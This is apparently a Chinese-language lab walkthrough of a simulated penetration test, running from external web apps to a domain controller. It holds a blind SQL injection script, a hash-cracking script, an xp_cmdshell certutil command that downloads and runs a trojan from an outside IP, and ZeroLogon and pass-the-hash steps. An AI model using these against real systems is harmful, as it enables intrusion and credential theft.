域渗透之外网打点到三层内网
字数 1971 2025-08-27 12:33:37

域渗透之外网打点到三层内网渗透教学文档

环境搭建与项目概述

项目介绍

  • 模拟授权渗透测试场景,从外网打点到内网横向渗透
  • 三层代理内网穿透环境
  • 涉及技术:内网穿透、Cobalt Strike使用、手工EXP编写、边界突破、流行内网渗透技术

VPS映射配置

  1. 公网VPS配置frps.ini并运行:frps.exe -c frps.ini
  2. 目标主机(web1)配置frpc.ini并运行:frpc.exe -c frp.ini
  3. 成功映射后访问地址:http://x.x.x.x:8088/login.jsp

外网打点阶段

信息收集

  1. 端口探测

    • 使用nmap扫描发现开放端口:4444、5003、8088、8899、8878
    • 详细分析各端口服务
  2. 网上银行系统分析

    • 尝试弱口令和暴力破解未果
    • 在GitHub发现源码:https://github.com/amateur-RD/netBank-System
    • 源码中发现数据库文件,包含普通用户和管理员账户密码

SQL注入攻击

  1. 手工SQL注入
    • 发现登录处存在SQL注入漏洞
    • sqlmap无法直接利用
    • 编写Python脚本进行盲注:
import requests
password = ""
url = "http://x.x.x.x:8878/admin/login"
payload = "0123456789abcdefghijklmnopqrstuvwxyz"
password = ""
for i in range(1, 20):
    for j in payload:
        exp = "admin' and(select substring(password, %s,1) from Admin) like '%s' or '1' = '" %(i,j)
        print("正在注入")
        data = {
            "admin.username": exp,
            "admin.password": 'aaaa',
            "type": 1
        }
        req = requests.post(url=url, data=data);
        if "密码不正确" in req.text:
            password += j
            break
print(password)
  1. TomExam系统注入

    • 发现可注册用户
    • 登录后找到SQL注入点
    • 使用sqlmap获取用户信息:
      | 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | 
      | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14
      
    • 对MD5哈希进行解密
  2. Jspxcms系统分析

    • 搜索历史漏洞发现文件上传getshell方法
    • 从TomExam数据库中发现jspxcms管理员凭据
    • 密码加密方式:明文密码+salt再进行MD5加密
    • 编写Java解密脚本:
package com.jspxcms.core;
import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;
public class Testmain {
    public static void main(String[] args) throws Exception {
        byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
        SHA1CredentialsDigest test = new SHA1CredentialsDigest();
        String fileName = "D:\\csdnpass.txt";
        String fileName2 = "D:\\hashpassword2.txt";
        try (Scanner sc = new Scanner(new FileReader(fileName))) {
            while (sc.hasNextLine()) {
                String line = sc.nextLine();
                String encPass = test.digest(line, salt);
                File f = new File(fileName2);
                FileWriter fw = new FileWriter(f, true);
                PrintWriter pw = new PrintWriter(fw);
                pw.println(line + " " + encPass);
                pw.close();
            }
        }
    }
}

获取Webshell

  1. 登录Jspxcms后台

    • 使用解密获得的管理员凭据登录
    • 使用哥斯拉生成木马,打包为war文件
  2. 目录穿越上传

    • 根据先知社区披露的方法编写目录穿越脚本
    • 成功上传webshell
    • 使用哥斯拉连接并执行命令

内网渗透阶段

Cobalt Strike上线

  1. 配置内网CS

    • Kali启动CS服务端
    • 配置frps.ini进行反向代理
    • 生成监听器
    • 上传.exe文件实现主机上线
  2. 内网信息收集

    • shell ipconfig 查看网络配置
    • 测试与其他主机的连通性
    • net view 尝试发现域内主机(初始失败)
  3. 代理配置与端口扫描

    • 通过代理扫描发现MSSQL服务(1433端口)
    • 暴力破解成功获取MSSQL凭据

MSSQL利用

  1. 使用mssqlclient登录

    • 使用爆破获得的凭据登录MSSQL服务器
  2. xp_cmdshell利用

    • 启用xp_cmdshell:EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    • 执行命令收集信息
    • 下载并执行木马:
      xp_cmdshell certutil -urlcache -split -f http://39.103.134.134/artifact.exe c:/windows/temp/artifact.exe
      
  3. 提权操作

    • 使用SweetPotato (MS16-075)进行提权
    • 成功获取系统权限

域渗透阶段

域信息收集

  1. 基础信息收集

    • net view 查看域内主机
    • hashdump 获取用户哈希
    • 查看主机IP和域控信息
  2. 获取的哈希示例

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
    sec123.cnk\cnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
    AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
    

ZeroLogon攻击(CVE-2020-1472)

  1. 漏洞利用

    • 编译zerologon脚本为exe
    • 测试确认漏洞存在
    • 将域控密码设置为空:31d6cfe0d16ae931b73c59d7e0c089c0
  2. 配置代理登录域控

    • 配置Kali代理
    • 通过代理连接域控
  3. PTH上线CS

    • 关闭域控防火墙
    • 使用Pass-the-Hash技术上线CS
    • 生成TCP监听并跳转到域控主机

恢复域控密码

  1. 获取原始哈希

    • 使用secretsdump.py获取哈希:
      python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      
  2. 恢复原始密码

    • 使用reinstall_original_pw.py恢复密码:
      proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 fb61e3c372e666adccb7a820aa39772f
      

总结与关键技术点

完整攻击链

  1. 外网打点:信息收集 → 源码分析 → SQL注入 → 密码破解 → 后台登录
  2. 内网穿透:FRP反向代理 → Cobalt Strike上线 → 内网探测
  3. 横向移动:MSSQL利用 → xp_cmdshell → 提权 → 域信息收集
  4. 域控攻陷:ZeroLogon漏洞 → PTH攻击 → 密码恢复

关键技能

  1. 手工注入能力:当工具无法使用时编写专用脚本
  2. 加密分析能力:通过源码分析加密方式并编写解密脚本
  3. 内网穿透技术:FRP配置与使用
  4. Cobalt Strike高级用法:内网主机上线、横向移动
  5. 漏洞利用能力:MS16-075、CVE-2020-1472等漏洞的实战利用
  6. 域渗透技术:哈希传递、黄金票据等攻击手法

防御建议

  1. 加强外网系统安全性,修复SQL注入等漏洞
  2. 实施严格的密码策略,避免密码重用
  3. 及时安装安全补丁,特别是MS16-075和CVE-2020-1472
  4. 限制内网横向移动能力,实施网络分段
  5. 监控异常行为,如异常的哈希传递活动
域渗透之外网打点到三层内网渗透教学文档 环境搭建与项目概述 项目介绍 模拟授权渗透测试场景,从外网打点到内网横向渗透 三层代理内网穿透环境 涉及技术:内网穿透、Cobalt Strike使用、手工EXP编写、边界突破、流行内网渗透技术 VPS映射配置 公网VPS配置frps.ini并运行: frps.exe -c frps.ini 目标主机(web1)配置frpc.ini并运行: frpc.exe -c frp.ini 成功映射后访问地址: http://x.x.x.x:8088/login.jsp 外网打点阶段 信息收集 端口探测 使用nmap扫描发现开放端口:4444、5003、8088、8899、8878 详细分析各端口服务 网上银行系统分析 尝试弱口令和暴力破解未果 在GitHub发现源码: https://github.com/amateur-RD/netBank-System 源码中发现数据库文件,包含普通用户和管理员账户密码 SQL注入攻击 手工SQL注入 发现登录处存在SQL注入漏洞 sqlmap无法直接利用 编写Python脚本进行盲注: TomExam系统注入 发现可注册用户 登录后找到SQL注入点 使用sqlmap获取用户信息: 对MD5哈希进行解密 Jspxcms系统分析 搜索历史漏洞发现文件上传getshell方法 从TomExam数据库中发现jspxcms管理员凭据 密码加密方式:明文密码+salt再进行MD5加密 编写Java解密脚本: 获取Webshell 登录Jspxcms后台 使用解密获得的管理员凭据登录 使用哥斯拉生成木马,打包为war文件 目录穿越上传 根据先知社区披露的方法编写目录穿越脚本 成功上传webshell 使用哥斯拉连接并执行命令 内网渗透阶段 Cobalt Strike上线 配置内网CS Kali启动CS服务端 配置frps.ini进行反向代理 生成监听器 上传.exe文件实现主机上线 内网信息收集 shell ipconfig 查看网络配置 测试与其他主机的连通性 net view 尝试发现域内主机(初始失败) 代理配置与端口扫描 通过代理扫描发现MSSQL服务(1433端口) 暴力破解成功获取MSSQL凭据 MSSQL利用 使用mssqlclient登录 使用爆破获得的凭据登录MSSQL服务器 xp_ cmdshell利用 启用xp_ cmdshell: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 执行命令收集信息 下载并执行木马: 提权操作 使用SweetPotato (MS16-075)进行提权 成功获取系统权限 域渗透阶段 域信息收集 基础信息收集 net view 查看域内主机 hashdump 获取用户哈希 查看主机IP和域控信息 获取的哈希示例 ZeroLogon攻击(CVE-2020-1472) 漏洞利用 编译zerologon脚本为exe 测试确认漏洞存在 将域控密码设置为空: 31d6cfe0d16ae931b73c59d7e0c089c0 配置代理登录域控 配置Kali代理 通过代理连接域控 PTH上线CS 关闭域控防火墙 使用Pass-the-Hash技术上线CS 生成TCP监听并跳转到域控主机 恢复域控密码 获取原始哈希 使用secretsdump.py获取哈希: 恢复原始密码 使用reinstall_ original_ pw.py恢复密码: 总结与关键技术点 完整攻击链 外网打点:信息收集 → 源码分析 → SQL注入 → 密码破解 → 后台登录 内网穿透:FRP反向代理 → Cobalt Strike上线 → 内网探测 横向移动:MSSQL利用 → xp_ cmdshell → 提权 → 域信息收集 域控攻陷:ZeroLogon漏洞 → PTH攻击 → 密码恢复 关键技能 手工注入能力 :当工具无法使用时编写专用脚本 加密分析能力 :通过源码分析加密方式并编写解密脚本 内网穿透技术 :FRP配置与使用 Cobalt Strike高级用法 :内网主机上线、横向移动 漏洞利用能力 :MS16-075、CVE-2020-1472等漏洞的实战利用 域渗透技术 :哈希传递、黄金票据等攻击手法 防御建议 加强外网系统安全性,修复SQL注入等漏洞 实施严格的密码策略,避免密码重用 及时安装安全补丁,特别是MS16-075和CVE-2020-1472 限制内网横向移动能力,实施网络分段 监控异常行为,如异常的哈希传递活动